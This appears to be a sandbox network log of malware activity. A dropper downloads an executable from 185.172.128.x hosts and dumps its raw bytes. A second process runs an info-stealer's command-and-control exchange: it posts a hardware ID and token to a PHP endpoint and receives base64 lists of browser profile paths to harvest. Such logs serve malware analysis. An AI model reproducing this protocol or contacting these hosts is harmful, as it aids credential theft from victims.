Apr 26, 2024 11:06:00.501899958 CEST	1289	IN	Data Raw: 0f 28 d8 66 0f c2 c1 06 3d ff 03 00 00 7c 25 3d 32 04 00 00 7f b0 66 0f 54 05 50 30 41 00 f2 0f 58 c8 66 0f d6 4c 24 04 dd 44 24 04 c3 dd 05 90 30 41 00 c3 66 0f c2 1d 70 30 41 00 06 66 0f 54 1d 50 30 41 00 66 0f d6 5c 24 04 dd 44 24 04 c3 55 8b Data Ascii: (f=\|%=2fTP0AXfL$D$0Afp0AfTP0Af\$D$UVuwoSWEuq.j.h+EYYt3AQjP Au&j[9EtVYu_[VYq3^]L$t$
Apr 26, 2024 11:06:00.742254972 CEST	1289	IN	Data Raw: 00 00 c3 8b 5d 08 8b 7d e4 6a 01 e8 86 39 00 00 59 c3 56 6a 04 6a 20 e8 c3 3b 00 00 59 59 8b f0 56 ff 15 a4 20 41 00 a3 f0 5c 04 04 a3 ec 5c 04 04 85 f6 75 05 6a 18 58 5e c3 83 26 00 33 c0 5e c3 6a 0c 68 28 7f 41 00 e8 6d 39 00 00 83 65 e4 00 e8 Data Ascii: ]}j9YVjj ;YYV A\\ujX^&3^jh(Am9e)(eu#YuE9u(UQSV5 AW5\5\EE;+OrvP:GY;sG;s];rPS;YYuF;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	185.172.128.90	80	6972	C:\Users\user\AppData\Local\Temp\i1.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:02.375303984 CEST	211	OUT	GET /cpa/ping.php?substr=one&s=ab&sub=28381000 HTTP/1.1 Host: 185.172.128.90 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 26, 2024 11:06:04.561297894 CEST	148	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 09:06:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	185.172.128.228	80	6972	C:\Users\user\AppData\Local\Temp\i1.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:04.815829992 CEST	190	OUT	GET /ping.php?substr=one HTTP/1.1 Host: 185.172.128.228 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 26, 2024 11:06:05.056879997 CEST	147	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 09:06:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	185.172.128.59	80	6972	C:\Users\user\AppData\Local\Temp\i1.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:05.311558008 CEST	181	OUT	GET /syncUpd.exe HTTP/1.1 Host: 185.172.128.59 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 26, 2024 11:06:05.552018881 CEST	1289	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 09:06:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 26 Apr 2024 09:00:02 GMT ETag: "4a800-616fc21086414" Accept-Ranges: bytes Content-Length: 305152 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 d0 c0 c8 ed b1 ae 9b ed b1 ae 9b ed b1 ae 9b e0 e3 71 9b f1 b1 ae 9b e0 e3 4e 9b 92 b1 ae 9b e0 e3 4f 9b c2 b1 ae 9b e4 c9 3d 9b ee b1 ae 9b ed b1 af 9b 81 b1 ae 9b 58 2f 4b 9b ec b1 ae 9b e0 e3 75 9b ec b1 ae 9b 58 2f 70 9b ec b1 ae 9b 52 69 63 68 ed b1 ae 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 14 f7 ee 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 00 00 02 01 00 00 7c c2 03 00 00 00 00 57 44 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 c3 03 00 04 00 00 cb 24 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 83 01 00 28 00 00 00 00 30 c2 03 e0 67 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 c3 03 80 13 00 00 f0 21 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 78 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 00 01 00 00 10 00 00 00 02 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 72 6c 00 00 00 20 01 00 00 6e 00 00 00 06 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e8 91 c0 03 00 90 01 00 00 b8 01 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 67 01 00 00 30 c2 03 00 68 01 00 00 2c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 a0 c3 03 00 14 00 00 00 94 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 11 02 04 e8 75 02 00 00 68 2b 10 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$qNO=X/KuX/pRichPELd\|WD @$(0g!8x@ \|.text5 `.rdatarl n@@.datat@.rsrcg0h,@@.reloc@Buh+
Apr 26, 2024 11:06:05.552077055 CEST	1289	IN	Data Raw: 41 00 e8 4f 2e 00 00 59 c3 b9 14 11 02 04 e8 c8 02 00 00 68 21 10 41 00 e8 39 2e 00 00 59 c3 b9 00 11 02 04 e8 1f 03 00 00 68 17 10 41 00 e8 23 2e 00 00 59 c3 6a 00 b9 08 11 02 04 e8 15 01 00 00 c3 6a 00 b9 fc 10 02 04 e8 08 01 00 00 c3 6a 00 b9 Data Ascii: AO.Yh!A9.YhA#.YjjjjUQQL$$x]E]UQQQQ$&]EYY]UVEPLEA^]LEADUVEtV
Apr 26, 2024 11:06:05.552114010 CEST	1289	IN	Data Raw: 00 53 53 ff 15 34 20 41 00 8d 45 c8 50 ff 15 0c 20 41 00 53 53 53 ff 15 2c 20 41 00 8d 85 b0 fb ff ff 50 53 ff 15 98 20 41 00 53 53 ff 15 94 20 41 00 8d 45 c4 50 53 8d 45 b0 50 53 ff 15 40 20 41 00 53 53 53 53 ff 15 54 20 41 00 8b 45 f8 8b 0d f0 Data Ascii: SS4 AEP ASSS, APS ASS AEPSEPS@ ASSSST AE+}uS AEEE]EEEEEEMEEEEMU3E3U:UGaUNt]MuE~_^[]V5W=t
Apr 26, 2024 11:06:05.552172899 CEST	1289	IN	Data Raw: 24 08 08 30 ca 11 b8 97 8c fa 72 f7 64 24 0c 8b 44 24 0c b8 80 b4 ab 2f f7 64 24 14 8b 44 24 14 b8 1e 18 24 33 f7 64 24 10 8b 44 24 10 b8 f1 ae 8e 20 f7 64 24 10 8b 44 24 10 81 44 24 08 0d 33 ae 67 81 44 24 14 94 fb 09 11 b8 d3 ae 4e 14 f7 64 24 Data Ascii: $0rd$D$/d$D$$3d$D$ d$D$D$3gD$Nd$D$l$ \|yHl$Nl$}7d$D$l$Iip0yd$D$oS@d$D$D$axl$#MD$$fvD$4R5U+d$D$l$ukmWebd$4D$4l$7D$8e6D$
Apr 26, 2024 11:06:05.552218914 CEST	1289	IN	Data Raw: 04 00 ff 31 e8 2a 02 00 00 c3 55 8b ec 56 57 8b 7d 08 8b f1 57 e8 5a 01 00 00 8b ce 84 c0 74 15 ff 75 0c e8 a6 01 00 00 2b f8 8b ce 57 56 e8 71 fe ff ff eb 2e 6a 00 ff 75 0c e8 cf 00 00 00 84 c0 74 1e ff 75 0c 8b ce 57 e8 80 01 00 00 50 e8 b0 f1 Data Ascii: 1*UVW}WZtu+WVq.jutuWPu_^]UEV9FrPh^]&USVW}^;rCM+;wW%t(U++QQPMS_^[]UQVuEPE
Apr 26, 2024 11:06:05.552264929 CEST	1289	IN	Data Raw: 00 8b 55 08 50 e8 d2 00 00 00 5d c2 08 00 33 c0 85 c9 74 15 83 f9 ff 77 0b 51 e8 b6 1f 00 00 59 85 c0 75 05 e9 cb 02 00 00 c3 6a 0c e8 a4 1f 00 00 59 85 c0 0f 84 ba 02 00 00 c3 56 8b f1 57 8b 7e 04 e8 25 00 00 00 83 ca ff 2b d7 03 c2 83 f8 01 72 Data Ascii: UP]3twQYujYVW~%+rG_F^hxAUUUUVuueMPJPG^]UVWMPV;_^]UMVPVD^]
Apr 26, 2024 11:06:05.552381992 CEST	1289	IN	Data Raw: e9 30 66 0f 6f 46 20 66 0f 6f 6e 30 8d 76 30 83 f9 30 66 0f 6f d3 66 0f 3a 0f d9 04 66 0f 7f 1f 66 0f 6f e0 66 0f 3a 0f c2 04 66 0f 7f 47 10 66 0f 6f cd 66 0f 3a 0f ec 04 66 0f 7f 6f 20 8d 7f 30 7d b7 8d 76 04 83 f9 10 7c 13 f3 0f 6f 0e 83 e9 10 Data Ascii: 0foF fon0v00fof:ffof:fGfof:fo 0}v\|ovfsvs~vf@ur$@r$@$+@$@@H@l@#FGF
Apr 26, 2024 11:06:05.552412987 CEST	1289	IN	Data Raw: 89 16 8b 4f 68 89 4e 04 3b 15 14 98 41 00 74 11 a1 d8 98 41 00 85 47 70 75 07 e8 e6 25 00 00 89 06 8b 46 04 5f 3b 05 ac 95 41 00 74 15 8b 4e 08 a1 d8 98 41 00 85 41 70 75 08 e8 48 29 00 00 89 46 04 8b 4e 08 8b 41 70 a8 02 75 16 83 c8 02 89 41 70 Data Ascii: OhN;AtAGpu%F_;AtNAApuH)FNApuApFAF^]Ujuu]UVuu""S]vm"!WuMExtuSV'-YYe3WWSVj
Apr 26, 2024 11:06:05.552431107 CEST	1289	IN	Data Raw: 33 40 00 90 5c 33 40 00 88 33 40 00 ac 33 40 00 23 d1 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 c1 e9 02 88 47 02 83 c6 03 83 c7 03 83 f9 08 72 cc f3 a5 ff 24 95 38 34 40 00 8d 49 00 23 d1 8a 06 88 07 8a 46 01 c1 e9 02 88 47 01 83 c6 02 83 c7 02 83 Data Ascii: 3@\3@3@3@#FGFGr$84@I#FGr$84@#r$84@I/4@4@4@4@4@3@3@3@DDDDDDDDDDDDDD$84@H4@P4@
Apr 26, 2024 11:06:05.552478075 CEST	1289	IN	Data Raw: 70 30 41 00 06 66 0f 54 1d 50 30 41 00 66 0f d6 5c 24 04 dd 44 24 04 c3 55 8b ec 56 8b 75 08 83 fe e0 77 6f 53 57 a1 f4 4d 43 00 85 c0 75 1d e8 71 2e 00 00 6a 1e e8 c7 2e 00 00 68 ff 00 00 00 e8 93 2b 00 00 a1 f4 4d 43 00 59 59 85 f6 74 04 8b ce Data Ascii: p0AfTP0Af\$D$UVuwoSWMCuq.j.h+MCYYt3AQjP Au&j[9MCtVYu_[VYq3^]L$t$tNu$$~3t
Apr 26, 2024 11:06:05.796464920 CEST	1289	IN	Data Raw: 5e c3 83 26 00 33 c0 5e c3 6a 0c 68 38 7f 41 00 e8 6d 39 00 00 83 65 e4 00 e8 29 28 00 00 83 65 fc 00 ff 75 08 e8 23 00 00 00 59 8b f0 89 75 e4 c7 45 fc fe ff ff ff e8 0b 00 00 00 8b c6 e8 84 39 00 00 c3 8b 75 e4 e8 04 28 00 00 c3 55 8b ec 51 53 Data Ascii: ^&3^jh8Am9e)(eu#YuE9u(UQSV5 AW5!5!EE;+OrvP:GY;sG;s];rPS;YYuF;r>PSq;YYt1P A!u AKQ A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	185.172.128.76	80	2968	C:\Users\user\AppData\Local\Temp\u5do.0.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:07.450844049 CEST	417	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: 185.172.128.76 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 39 37 45 32 30 37 42 35 46 43 33 30 37 31 38 35 39 34 36 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="hwid"E497E207B5FC3071859460------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="build"default10------IJKJDAFHJDHIEBGCFIDB--
Apr 26, 2024 11:06:08.007046938 CEST	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4d 57 45 7a 59 7a 67 77 4d 7a 51 79 59 6a 6c 69 5a 6a 4d 32 4e 47 55 7a 59 6d 4e 68 4d 54 55 78 59 57 59 34 5a 54 6b 33 4f 47 45 31 59 6a 63 78 59 7a 45 33 59 54 4a 68 4f 54 63 77 5a 54 64 68 5a 44 42 6d 5a 57 45 35 5a 47 51 31 4f 44 41 35 4e 54 64 6d 4d 32 56 6d 59 32 59 30 4e 32 55 30 66 47 68 6c 63 6a 64 6f 4e 44 68 79 66 47 56 79 4e 47 67 30 5a 54 68 79 4e 43 35 6d 61 57 78 6c 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: MWEzYzgwMzQyYjliZjM2NGUzYmNhMTUxYWY4ZTk3OGE1YjcxYzE3YTJhOTcwZTdhZDBmZWE5ZGQ1ODA5NTdmM2VmY2Y0N2U0fGhlcjdoNDhyfGVyNGg0ZThyNC5maWxlfDF8MHwxfDF8MXwxfDF8MXw=
Apr 26, 2024 11:06:08.008280993 CEST	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 185.172.128.76 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="message"browsers------EGCBAFCFIJJJECBGIIJK--
Apr 26, 2024 11:06:08.360675097 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 09:06:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb
Apr 26, 2024 11:06:08.360790968 CEST	427	IN	Data Raw: 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 Data Ascii: 21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQ
Apr 26, 2024 11:06:08.386142015 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="message"plugins------ECGIIIDAKJDHJKFHIEBF--
